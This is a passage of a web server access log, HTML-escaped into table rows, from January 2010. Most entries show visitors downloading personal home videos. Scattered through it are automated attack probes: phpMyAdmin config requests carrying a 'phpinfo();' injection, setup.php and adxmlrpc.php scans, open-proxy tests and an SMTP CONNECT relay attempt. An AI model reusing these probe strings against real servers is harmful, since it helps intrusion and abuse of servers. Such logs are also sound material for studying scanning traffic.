&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:32:06 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 87773184

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:30:31 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 87773184

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:32:03 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 74970

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:32:01 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 200 87864538

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:32:00 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 87860786

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:31:51 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 87860442

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:31:46 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 200 73025648

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:31:48 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:31:43 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 73024188

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:30:30 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 87773184

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:30:27 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 74970

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:30:25 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 200 87864538

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:30:24 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 200 87864538

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:13:30:23 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 87860786

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:57:56 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 72941568

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:57:55 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 4096

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:57:55 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 4096

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:57:52 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 63600

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:57:51 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 73013360

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:57:49 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 200 73025648

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:57:48 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 73014392

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:57:47 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 73024188

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:53:59 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 72941568

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:53:58 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 4096

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:53:57 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 4096

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:53:54 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 63600

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:53:53 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 206 73013360

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:53:51 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 200 73025648

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:53:49 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 200 73025648

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:53:43 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 200 73025648

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:52:32 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 73543680

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:48:29 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 87756800

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:48:26 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 206 74970

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:48:23 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 200 87864538

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:48:17 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 200 87864538

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:47:49 -0800] "GET /videos/North_Talking_5_months.AVI HTTP/1.1" 200 87864538

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:47:33 -0800] "GET /favicon.ico HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:47:33 -0800] "GET /icons/movie.gif HTTP/1.1" 200 243

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:47:33 -0800] "GET /icons/back.gif HTTP/1.1" 200 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:47:33 -0800] "GET /icons/blank.gif HTTP/1.1" 200 148

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:47:32 -0800] "GET /videos/ HTTP/1.1" 200 2118

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:12:47:32 -0800] "GET /favicon.ico HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:29 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 206 12860099

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:29 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 206 12860099

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:26 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 200 12864128

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:26 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 200 12864128

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:15 -0800] "GET /icons/movie.gif HTTP/1.1" 200 243

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:15 -0800] "GET /icons/back.gif HTTP/1.1" 200 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:15 -0800] "GET /icons/movie.gif HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:15 -0800] "GET /icons/back.gif HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:15 -0800] "GET /icons/blank.gif HTTP/1.1" 200 148

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:14 -0800] "GET /icons/blank.gif HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:14 -0800] "GET /videos/ HTTP/1.1" 200 2118

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:20:14 -0800] "GET /videos/ HTTP/1.1" 200 2118

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:45 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 206 11286864

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:44 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 206 11286931

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:33 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 200 11290960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:34 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 200 11290960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:24 -0800] "GET /icons/back.gif HTTP/1.1" 200 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:23 -0800] "GET /icons/movie.gif HTTP/1.1" 200 243

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:23 -0800] "GET /icons/movie.gif HTTP/1.1" 200 243

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:23 -0800] "GET /icons/blank.gif HTTP/1.1" 200 148

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:23 -0800] "GET /icons/blank.gif HTTP/1.1" 200 148

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:23 -0800] "GET /icons/back.gif HTTP/1.1" 200 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:22 -0800] "GET /videos/ HTTP/1.1" 200 2118

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
170.94.26.21 - - [20/Jan/2010:11:14:22 -0800] "GET /videos/ HTTP/1.1" 200 2118

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
92.240.68.152 - - [20/Jan/2010:06:53:17 -0800] "GET http://static.howstuffworks.com/gif/harley-motorcycle1.jpg HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.190.2.205 - - [20/Jan/2010:02:53:16 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.190.2.205 - - [20/Jan/2010:02:53:15 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.190.2.205 - - [20/Jan/2010:02:53:15 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.190.2.205 - - [20/Jan/2010:02:53:14 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.190.2.205 - - [20/Jan/2010:02:53:14 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
85.190.2.205 - - [20/Jan/2010:02:53:13 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.168 - - [19/Jan/2010:23:22:40 -0800] "GET http://freestuff-site.com/prx1.php HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.168 - - [19/Jan/2010:23:12:39 -0800] "GET http://freestuff-site.com/prx1.php HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
118.129.168.2 - - [19/Jan/2010:21:29:47 -0800] "GET /xmlrpc.php HTTP/1.0" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
118.129.168.2 - - [19/Jan/2010:21:29:46 -0800] "GET /ads/adxmlrpc.php HTTP/1.0" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
118.129.168.2 - - [19/Jan/2010:21:29:46 -0800] "GET /Ads/adxmlrpc.php HTTP/1.0" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
118.129.168.2 - - [19/Jan/2010:21:29:45 -0800] "GET /phpads/adxmlrpc.php HTTP/1.0" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
118.129.168.2 - - [19/Jan/2010:21:29:44 -0800] "GET /phpadsnew/adxmlrpc.php HTTP/1.0" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
118.129.168.2 - - [19/Jan/2010:21:29:44 -0800] "GET /phpAdsNew/adxmlrpc.php HTTP/1.0" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
118.129.168.2 - - [19/Jan/2010:21:29:43 -0800] "GET /adserver/adxmlrpc.php HTTP/1.0" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
118.129.168.2 - - [19/Jan/2010:21:29:43 -0800] "GET /adxmlrpc.php HTTP/1.0" 404 210

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
118.129.168.2 - - [19/Jan/2010:21:29:42 -0800] "GET /a1b2c3d4e5f6g7h8i9/nonexistentfile.php HTTP/1.0" 404 236

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [19/Jan/2010:17:44:01 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 200 73025648

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [19/Jan/2010:17:44:01 -0800] "GET /videos/RunningAroundAPT.AVI HTTP/1.1" 200 73025648

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [19/Jan/2010:17:43:52 -0800] "GET /favicon.ico HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [19/Jan/2010:17:43:48 -0800] "GET /icons/movie.gif HTTP/1.1" 200 243

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [19/Jan/2010:17:43:48 -0800] "GET /icons/back.gif HTTP/1.1" 200 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [19/Jan/2010:17:43:48 -0800] "GET /icons/blank.gif HTTP/1.1" 200 148

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [19/Jan/2010:17:43:47 -0800] "GET /videos/ HTTP/1.1" 200 2118

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.90.235.91 - - [19/Jan/2010:10:33:20 -0800] "GET /north_talking.avi HTTP/1.1" 200 87864538

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.90.235.91 - - [19/Jan/2010:09:13:21 -0800] "GET /north_talking.avi HTTP/1.1" 200 87864538

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.90.235.91 - - [19/Jan/2010:09:13:21 -0800] "GET /favicon.ico HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.90.235.91 - - [19/Jan/2010:09:13:20 -0800] "GET /north_talking.avi HTTP/1.1" 200 87864538

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [19/Jan/2010:07:07:34 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.195.112.113 - - [18/Jan/2010:18:43:03 -0800] "GET /global_files/css/site.css HTTP/1.0" 200 229

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.195.112.113 - - [18/Jan/2010:18:43:02 -0800] "GET / HTTP/1.0" 200 1018

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.195.112.113 - - [18/Jan/2010:18:43:01 -0800] "GET /robots.txt HTTP/1.0" 200 25

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
212.119.179.138 - - [18/Jan/2010:18:32:19 -0800] "GET //phpmyadmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
212.119.179.138 - - [18/Jan/2010:18:30:59 -0800] "GET //phpMyAdmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
212.119.179.138 - - [18/Jan/2010:18:29:38 -0800] "GET ///scripts/setup.php HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.75.45.67 - - [18/Jan/2010:14:08:36 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.75.45.67 - - [18/Jan/2010:14:08:36 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.75.45.67 - - [18/Jan/2010:14:08:35 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.75.45.67 - - [18/Jan/2010:14:08:35 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.75.45.67 - - [18/Jan/2010:14:08:32 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.75.45.67 - - [18/Jan/2010:14:08:29 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.75.45.67 - - [18/Jan/2010:14:08:27 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.75.45.67 - - [18/Jan/2010:14:08:26 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.75.45.67 - - [18/Jan/2010:14:08:25 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.161 - - [18/Jan/2010:09:08:34 -0800] "GET http://freestuff-site.com/prx1.php?hash=8D02562B0B5B3BA04051A9F40050AB4ED0086B4B3066 HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
213.253.222.180 - - [16/Jan/2010:04:01:15 -0800] "GET //phpmyadmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
98.112.12.105 - - [15/Jan/2010:20:05:23 -0800] "GET / HTTP/1.1" 200 1018

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
141.155.17.241 - - [14/Jan/2010:14:25:24 -0800] "GET /obama_cyborg.gif HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
60.234.111.41 - - [14/Jan/2010:13:33:45 -0800] "GET / HTTP/1.1" 200 1018

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.131.91.232 - - [13/Jan/2010:10:11:45 -0800] "GET //ZenCart/includes/general.js HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.131.91.232 - - [13/Jan/2010:10:11:45 -0800] "GET //cart/includes/general.js HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.131.91.232 - - [13/Jan/2010:10:11:45 -0800] "GET //zen/includes/general.js HTTP/1.1" 404 221

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.131.91.232 - - [13/Jan/2010:10:11:45 -0800] "GET //commerce/includes/general.js HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.131.91.232 - - [13/Jan/2010:10:11:45 -0800] "GET //zencart/includes/general.js HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.131.91.232 - - [13/Jan/2010:10:11:44 -0800] "GET //includes/general.js HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.131.91.232 - - [13/Jan/2010:10:11:44 -0800] "GET //e-commerce/includes/general.js HTTP/1.1" 404 228

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.131.91.232 - - [13/Jan/2010:10:11:43 -0800] "GET //zen-cart/includes/general.js HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.131.91.232 - - [13/Jan/2010:10:11:42 -0800] "GET //store/includes/general.js HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
58.49.58.20 - - [12/Jan/2010:14:34:42 -0800] "CONNECT smtp.citiz.net:25 HTTP/1.0" 200 1019

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
150.254.171.179 - - [12/Jan/2010:11:42:53 -0800] "GET / HTTP/1.1" 200 1018

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:22:03:31 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:22:03:31 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:22:03:30 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:22:03:29 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:22:03:29 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:22:03:28 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:22:03:28 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:22:03:27 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:22:03:27 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:22:03:26 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
210.83.70.250 - - [09/Jan/2010:18:53:49 -0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
210.83.70.250 - - [09/Jan/2010:18:53:47 -0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
